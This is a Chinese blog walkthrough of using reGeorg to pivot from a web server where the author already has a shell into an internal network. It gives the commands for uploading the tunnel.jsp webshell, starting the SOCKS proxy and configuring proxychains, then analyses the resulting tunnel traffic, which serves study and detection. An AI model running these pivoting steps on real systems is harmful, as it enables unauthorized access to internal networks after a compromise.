reGeorg搭建HTTP隧道和流量分析 – 作者:hualian071-安全小百科

reGeorg介绍

reGeorg 的前身是2008年 SensePost 在 BlackHat USA 2008 的 reDuh 延伸与扩展。

reGeorg是reDuh的继承者，利用了会话层的socks5协议，相比较于reDuh效率更高一些。

关于通过reGeorg建立HTTP隧道的作用体现在，当我们能通过外网访问服务器A，但是我们并不能与位于内网的主机交互，这时reGeorg就派上了用场，假设此时我们拿到了服务器A的webshell，但是该内网主机的icmp、dns、tcp和udp协议等都不能出网，唯一的数据通道是webshell搭建正向代理。

所以在公网能访问的服务器A上安装reGeorg，它就在攻击者与内网主机之间充当一个转发的角色，从而达到攻击者与内网的信息交互。

reGorg下载地址

git clone https://github.com/sensepost/reGeorg.git

拓扑

1608227214_5fdb998e0c570fd15f81f.png!small?1608227213908

环境

一台vps做受害服务端A IP：182.x.x.x一台docker 部署在受害者机上，里面搭建了一个tomcat，开放了8080端口另外一台vps ip 81.x.x.x 做攻击者，建立http隧道reGeorg 建立http隧道的工具

搭建过程

1、在已经getshell的受害者服务器上的http服务器的web根目录上传一个tunnel.jsp传完后，

1608227655_5fdb9b474062cff7982ba.png!small?1608227655220

测试是否可以访问到

curl http://182.x.x.x:8080/tunnel.jsp

1608227680_5fdb9b60c133242ee4482.png!small?1608227680580

服务器返回Georg says, ‘All seems fine’

服务器端配置完成

2、在攻击者机子上，下载reGeorg运行脚本，设置一个端口3333作为http隧道的端口

python reGeorgSocksProxy.py -l 0.0.0.0 -p 3333 -u http://x.x.x.x:8080/tunnel.jsp

1608227712_5fdb9b802d9eed29c4122.png!small?1608227712044

3、打开kali攻击机的proxychain设置，设置一下代理。将代理设置为vps的ip的3333端口

vim/etc/proxychains.conf
在最后添加一条
socks5 81.x.x.x 3333

1608227724_5fdb9b8cec3136366b04b.png!small?1608227724822

在kali上通过代理访问内网的服务器

proxychains curlhttp://172.17.0.2/login.php

1608227747_5fdb9ba39c67e53f7e056.png!small?1608227747720

成功访问到内网搭建完成

流量分析

kali

在kali上抓包，然后访问内网，tcpdump抓包，分析流量

tcpdump -ieth0 -wkali.pcap

然后打开wireshark追踪tcp流，看流量

...............P.........PGET /login.php HTTP/1.1
Host: 172.17.0.2
User-Agent: curl/7.68.0
Accept: */*
HTTP/1.1 200 OK
Date: Thu, 17 Dec 2020 16:39:09 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.25
Set-Cookie: PHPSESSID=7mhcg05sbeerpgjvthqad6r7t6; path=/
Expires: Tue, 23 Jun 2009 12:00:00 GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=7mhcg05sbeerpgjvthqad6r7t6; path=/; httponly
Set-Cookie: security=impossible; httponly
Vary: Accept-Encoding
Content-Length: 1567
Content-Type: text/html;charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

serverA

在serverA上抓包第一个流可以看到服务器A作为跳板，表明服务器与哪台内网主机的哪个端口连接cmd=connecttarget=172.17.0.2 目标内网ipport=80 端口为80

POST http://182.x.x.x:8080/tunnel.jsp?
cmd=connect&target=172.17.0.2&port=80 HTTP/1.1
Host: 182.x.x.x:8080
Accept-Encoding: identity
Content-Length: 0
X-CMD: CONNECT
X-PORT: 80
X-TARGET: 172.17.0.2
User-Agent: python-urllib3/1.26.2
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=C71AAD9AFD48C0E4796514EF6835F2B4; Path=/; HttpOnly
X-STATUS: OK
Content-Type: text/html
Content-Length: 0
Date: Thu, 17 Dec 2020 16:44:45 GMT

下一条流cmd=read,代表是去访问内网的内容

Accept-Encoding: identity请求的HTTP头通告其内容编码，只要没有被明确禁止

服务器就不能发回406 Not Acceptable错误

响应包头：Transfer-Encoding: chunked代表是分块传输

POST /tunnel.jsp?cmd=read HTTP/1.1
Host: 182.x.x.x:8080
Accept-Encoding: identity
Content-Length: 0
X-CMD: READ
Cookie: JSESSIONID=C71AAD9AFD48C0E4796514EF6835F2B4; Path=/; HttpOnly
Connection: Keep-Alive
User-Agent: python-urllib3/1.26.2
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-STATUS: OK
Content-Type: text/html
Transfer-Encoding: chunked
Date: Thu, 17 Dec 2020 16:44:45 GMT

接下来这条流就是cmd=forward，转发到内网

POST /tunnel.jsp?cmd=forward HTTP/1.1
Host: 182.92.73.106:8080
Accept-Encoding: identity
Content-Length: 83
Content-Type: application/octet-stream
X-CMD: FORWARD
Cookie: JSESSIONID=C71AAD9AFD48C0E4796514EF6835F2B4; Path=/; HttpOnly
Connection: Keep-Alive
User-Agent: python-urllib3/1.26.2
GET /login.php HTTP/1.1
Host: 172.17.0.2
User-Agent: curl/7.68.0
Accept: */*
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-STATUS: OK
Content-Type: text/html
Content-Length: 0
Date: Thu, 17 Dec 2020 16:44:45 GMT

最后就是cmd=disconnect关闭连接

POST /tunnel.jsp?cmd=disconnect HTTP/1.1
Host: 182.x.x.x:8080
Accept-Encoding: identity
X-CMD: DISCONNECT
Cookie: JSESSIONID=C71AAD9AFD48C0E4796514EF6835F2B4; Path=/; HttpOnly
User-Agent: python-urllib3/1.26.2
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-STATUS: OK
Content-Type: text/html
Content-Length: 0
Date: Thu, 17 Dec 2020 16:44:45 GMT

内网服务器

在内网服务器上抓包,看到服务器A向内网请求了login.php

1608227774_5fdb9bbee45627f694972.png!small?1608227774829

GET /login.php HTTP/1.1
Host: 172.17.0.2
User-Agent: curl/7.68.0
Accept: */*
HTTP/1.1 200 OK
Date: Thu, 17 Dec 2020 16:53:17 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.25
Set-Cookie: PHPSESSID=65ehap87lgj2sk84poopt0aep3; path=/
Expires: Tue, 23 Jun 2009 12:00:00 GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=65ehap87lgj2sk84poopt0aep3; path=/; httponly
Set-Cookie: security=impossible; httponly
Vary: Accept-Encoding
Content-Length: 1567
Content-Type: text/html;charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">